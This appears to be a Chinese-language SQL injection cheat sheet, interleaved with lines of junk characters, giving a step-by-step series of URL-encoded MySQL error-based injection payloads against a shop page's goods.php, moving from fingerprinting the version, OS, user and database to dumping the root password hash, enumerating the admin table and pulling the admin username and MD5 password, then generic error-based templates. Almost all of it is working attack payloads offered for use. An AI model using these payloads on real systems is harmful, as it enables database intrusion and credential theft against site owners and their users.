判断版本号
# ]) q+ }' ` k k" xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23: O. G& D0 O4 x7 E5 w
, D X+ m& M: ?5 }判断系统
8 b3 ], u- i/ q: P8 V: I1 O) y- Z6 `: `- T
2 g" x1 N( P0 g! D$ ~" U3 u9 Fhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 I" y- w$ |) z. {; G0 i
- u9 U; `) i( a! H2 f
; E/ V; t, z5 C9 k4 @: N1 ?' t# {
( V4 O/ T6 L5 h当前 user()
/ g; H( m, d' W1 B3 Z, u. P7 s3 Q
' e8 W) [3 R$ v- }http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* P" ?) Q. m, Y1 p$ G, y. L
4 Q5 P& q- `1 n8 X! ^2 G
& q6 _1 V$ Y4 V8 B2 o( ?/ p; `0 i! x1 Y. d
当前 database()
9 v0 | y2 n5 b$ K* j. Rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& U9 S) Z9 \2 D0 [" r4 E7 p9 L$ Y, e" m% o& O9 v8 h: Q, j( a- L
: ?6 s; U( c5 h2 H: K" Z8 D# L; V
9 d) ]( a! h0 M' T
3 A. s% x# m- k9 d3 o
root hash
0 I3 Y! Q- ]( h
, L. ~: V j4 E/ n3 x. Y. Nhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
! r1 q6 p; \/ G" r/ I9 B$ k6 _/ E9 f8 J z1 }. t7 [
9 e; q, \* Z6 @8 X" @# Z
9 O) x N: }( y% F/ R( ?; o- _当前 数据库表名
2 m+ j! f% [: F( W3 _6 @
+ _ }; q$ S6 p' a% Ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23# `& A$ \- u3 @% h. a( N S( e
5 W/ a& `& O) S$ T: E
0 a5 p0 m, B4 U- M! Q. W' ?2 @# n& n" n, {# r. ^6 u, m- Q
当前 数据库 user_name 字段
# O$ i# z( i! y: ]6 |
+ z0 Q8 _$ R. bhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
- @9 f- |) d. n7 z" p1 I- \; D; g7 N1 f S# B" r' P5 u# R
当前 数据库 字段 password
$ J: J9 f( `+ q$ b) G$ E( E2 qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23% B( B! |* {# R. Q8 G0 a* k
& p) v+ U4 B1 x3 I, R' l" ?
& u! c% P4 z; Z0 c: O- A$ G4 F4 g F2 \/ H [: g& ?# V- Z
获得 admin passwd(md5)
; K3 m- I( F4 q/ J+ N/ U* z4 r
! J% n$ x6 P$ J! \2 _7 Z, c# k0 h2 _$ z4 f, ?
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 R+ u( _8 q P8 K1 R( _% O0 a
! o% s/ O: \( m! V: |) }报错注射' a* `5 T) ?1 |, H9 |9 ?$ |7 J5 n
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)/ S6 S1 X( A% q2 {7 {
" W4 K% q" [# z! t: W, wSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)7 Y, c7 @4 X) t
* p4 w4 h! E) J! ~+ @0 q c
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |